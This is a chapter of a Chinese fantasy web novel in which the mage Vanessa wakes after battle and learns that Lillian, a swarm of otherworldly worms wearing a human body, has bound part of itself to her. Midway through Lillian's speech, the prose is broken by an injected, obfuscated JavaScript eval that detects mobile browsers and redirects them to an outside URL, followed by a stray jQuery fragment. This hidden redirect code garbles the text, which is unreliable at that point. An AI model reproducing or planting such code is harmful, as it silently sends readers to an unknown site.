凡妮莎感觉好像有什么东西在自己脑子里乱窜，将她的理智搅成一团浆糊。
她都不知道自己为什么要这么开心，但当看到莉莉安自行暴露的模样时，她根本无法克制传遍全身的恶心与愉悦。
凡妮莎的余光瞥向了水面，那黑色的液面上好像反射着自己的脸。
真奇怪，为什么自己的神情和莉莉安不久前的模样这么像？
那个咧开的嘴角和癫狂的神色，真的是出现在自己脸上的吗？
下一刻，水面上的影子便被浪花冲碎了。红白黑的色块混杂在一起，仿佛要将凡妮莎的精神一同搅碎。
但莉莉安还是原本的那副模样，除了攀附在躯壳上的黑色 “虫子”，她看起来还是那么的正常。
让凡妮莎忍不住想破坏。
“砰！”
由神术凝聚而成的子弹冲向莉莉安的胸口，这一次，她终于做出了闪避的动作。
那些漆黑的丝线猛然散落，它们像拆解零件一样将那具人类的身躯拽向海面，靠着海水的保护躲过了部分攻击。
紧接着，它们又从水下冒了出来。密密麻麻的线条在海潮上织成了杂乱的网，它们在说话，在低语，只不过不同的话全都混杂成了让人头疼的噪音。
噪音在凡妮莎面前，也在她四周，数不清的影子从地底冒了出来，宛若雨后的蚯蚓。凡妮莎情不自禁的按了按自己的后脑勺，为什么那些生物就连移动的声音都如此刺耳？它们不像是爬在沙滩上，更像是在往自己脑子里钻。
凡妮莎的第一反应是抬手施展神术，让那些可拍的噪声永远消失，但眼前突然闪过一阵漆黑让她不得不弯下了腰。
“咳咳！”
她捂着嘴巴，此时才意识到原本轻盈的意识仿佛沉入了地底。
一股温热的感觉流过指尖，凡妮莎低头，一抹刺目的红色留在了自己手上。
血液，那是她自己的血液吗？
赤红夹杂着黑色噪点，彻底淹没了凡妮莎的视野。
……
“……都说了不要这么急躁，现在好了，把她给气晕了吧？”
“哪有，她不是挺高兴的吗？”
“但是人类的喜怒哀乐好像比较复杂。”
“好了好了，我们都决定这么干了，那也没法改啊。”
“那谁去跟她解释？”
“……好麻烦，就不能直接传输给她吗？”
“人类的脑子好像比较脆弱吧？”
凡妮莎迷迷糊糊的睁开眼。跃动的火焰映入了她眼前，现在似乎已经是深夜了，而她正侧躺在地面上，鼻子下还残留着铁锈味的血迹。
她的头还在一抽一抽的阵痛，仿佛宿醉后的清醒，而随后袭来的是无尽的虚弱感和疲劳。
凡妮莎强撑着坐了起来，她看了看四周，刚刚对话的声音已经消失了，周围也只有莉莉安一个身影。
“啊，你醒了吗？” 那个人就坐在她旁边。
“我还以为你会干脆把我淹死在那里。” 凡妮莎擦了擦脸上干枯的血迹，抹下来了满手褐色的渣子。
她本想用神术清洁一下自己，但现在脑子清醒了一些，她还是决定爱惜一下自己的精神。
“我怎么可能会这么做？” 莉莉安仍然微笑着。
她给凡妮莎递了一瓶水，凡妮莎看着那透明的液体，犹豫的接过了瓶子。
这里面应该没有什么奇怪的东西，至少以她现在的状态探测不出来。
而且，她真的很渴。
“凡妮莎，你觉得我们到底是什么呢？” 莉莉安撑着脑袋，挪到了凡妮莎身旁。
凡妮莎总有种感觉莉莉安是仗着自己没力气反抗才这么没边界感。她盯着瓶子，等润了润嗓子和干裂的嘴唇，洗掉了残留的血迹，那里面的水已经只剩下一半了。
“某种拥有智慧和自我意识的彼界生物吧。那些虫子……你，不对，那是你们的本体？”
凡妮莎硬撑着坐了起来，她盯着篝火，朦胧的思绪终于清醒了一些。
她现在到底在做什么？和一个敌人聊天？
听到凡妮莎的回答，莉莉安明显更高兴了，“哇，全都是对的！你果然很敏锐呢！”
凡妮莎沉默的回想起旅途中的那些 “意外”，“有时候我会怀疑你是否真的伪装过。”
“当然有啊，只是我们有时候有点难达成一致。”
在凡妮莎眼前，莉莉安的手指上好像突然闪过了几块黑色的 “花纹”。它们转瞬即逝，但在空中留下了微弱的窸窸窣窣声。
“你到底是什么东西？” 凡妮莎忍不住皱眉。
“我们是莉莉安啊。” 莉莉安理所当然的答道。
她又思索了片刻，继续解释道：“你就理解为……我们是构成这个形象的集合吧。”
“哦，所以你是一堆虫子在一具尸体里演戏？”
“差不多吧。”
莉莉安对凡妮莎语气里暗含的嘲讽毫无反应，她像是突然想起来了什么一样，说道：“对了，你知道怎么在野外露营吗？那些帐篷什么的我都不会搞。”
凡妮莎疲惫的捂住了眼睛，“我真不敢相信我们前不久还在拼个你死我活，然后现在你又在问我怎么搭帐篷。”
“我们没那么容易死透的，而且，现在已经是第二天中午了哦，” 莉莉安提醒道，“这里的环境好像不太正常，是不是白天好像和时间没太大关系。”
已经过去半天了？
也就是说，自己已经失联半天了。
凡妮莎望着自己的手，一点点银光再次从掌纹之间冒了出来，但下一刻，另一双手就捂住了她的手掌。
莉莉安意外严肃的注视着她，“考虑到你最近的状态，你真的觉得继续施术是一个好主意吗？”
“……你应该明白，我要是恢复过来的话第一件事就是杀了你吧？”
凡妮莎不明白莉莉安这一系列的行为到底是怎么回事，这是在关心自己吗？但她为什么要关心一个给了她两枪的人？
“你不会的，” 莉莉安笑眯眯的答道，“毕竟，你现在也该意识到了你身上发生过什么吧？”
凡妮莎的脸色又变差了几分，她能感受到有什么东西缠在她手指之间。
那肯定不是人类的手指，唯一的可能只有莉莉安的本体。
那些酷似铁线虫的生物摸起来相当坚硬，但又很灵活。凡妮莎不禁想起了贝妮丝闯入圣城时的模样，她很难忘记那皮肤下蠕动的密集黑线。
“你就是那个，贝妮丝的共犯？那个会说话老鼠……别告诉我你就是贝妮丝。”
“怎么可能，” 莉莉安看起来有点失望，“唉，装成一个老鼠实在不是什么好主意，它们智商太低了……虽然我们现在也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460835|160968||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不太记得当时发生了什么。”
她话锋一转，又露出的高兴的神色，“不过我们还记得你哦！虽然不知道为什么我们有一部分跟你混在了一起，不过这熟悉的思路我一看就认出来了！其实能遇上分隔许久的同胞我们还挺开心的，就是时间太久了我们好像都联系不上了……”
莉莉安尴尬的笑了笑，“所以，呃，调试时混杂在你体内的部分大概是彻底取不出来了。”
她看起来仿佛真的有点愧疚，“我不知道它们是怎么独立在你体内存活这么久的，也许因为我们是同一个种群，所以我们的能量通过彼界的连接传给它们？呃，总之，说不定要是我们彻底灭绝了它们可能也会失效，但你的身体状况……毕竟 ‘调试’ 应该是一个无法逆转的过程，我们本来就是这么设计的。”
莉莉安的语速很快，还有点含糊，仿佛解释这件事很烫嘴。
凡妮莎听着自己的猜想一一被肯定，一时半会仍毫无反应。
好消息，自己这几年真不是因为什么精神问题或彼界污染才会有视觉异常。
坏消息，自己可能这辈子都要和一群彼界生物捆绑在一起了。
“等我成为长生者……” 凡妮莎又开始寄希望于往后。
只要能突破普通人的制约，其余一切都不成问题，难道不是这样吗？
凡妮莎咽了咽口水，在心里默默告诉自己不要多想。
视觉异变又不是一天两天的事了，现在无论再知道什么新消息，也不会影响自己的目标。
随即，她的注意力又转向了另一件事，“你所谓的 ‘调试’ 到底是什么意思？”
莉莉安从没正面解释过这个词的含义，也没透露她的目的。
除了自己视觉的异变是这个过程的结果，凡妮莎根本不知道她做了什么。
莉莉安欲言又止，她松开手，站了起来，“总之，我们今天先休息一下吧。我先去周围看看，要是有什么别的彼界生物发现我们就不好了。”
她的身影消失在了丛林之中，而当凡妮莎低头一看时，还有有一条黑色的虫子留在了自己手上。
它紧紧绕在凡妮莎指间，动作莫名有点亲昵。
凡妮莎扯了扯它，但它还是纹丝不动，只是悬在空中的末端有些迟钝的转了过来，朝凡妮莎刚刚触摸的位置蹭了蹭。
离开了群体，它的智商好像不怎么高。
凡妮莎又试了试施术，但这次，它却突然勒紧了一些，强行打断了凡妮莎的动作。
正如凡妮莎所预料到的一样。
即便如此，凡妮莎的精神还是探查到了外界的情况。
在 “失落之地”，彼界与现实的重叠很严重，基于正常条件的法术已几乎全部失灵。这也就意味着如果自己不花时间调整自己的施术习惯，她就没法与外界通讯。
好在那些用于战斗的法术并没有受影响，反而还增强了一些，但凡妮莎还是有点担心在这样的环境下战斗会不会引发什么她不知道的风险。
她眯起眼，看向身旁酷似剑与枪的阴影。随着彼界渐近，那两件藏匿于神术之中的武器也不由自主地浮现了出来。
凡妮莎伸手握住了枪，将它拔了出来。手里熟悉的重量让凡妮莎安心了一些，而且因为没用上法术，缠在她右手上的虫子也没反应。
她站了起来，朝莉莉安离开的方向走去。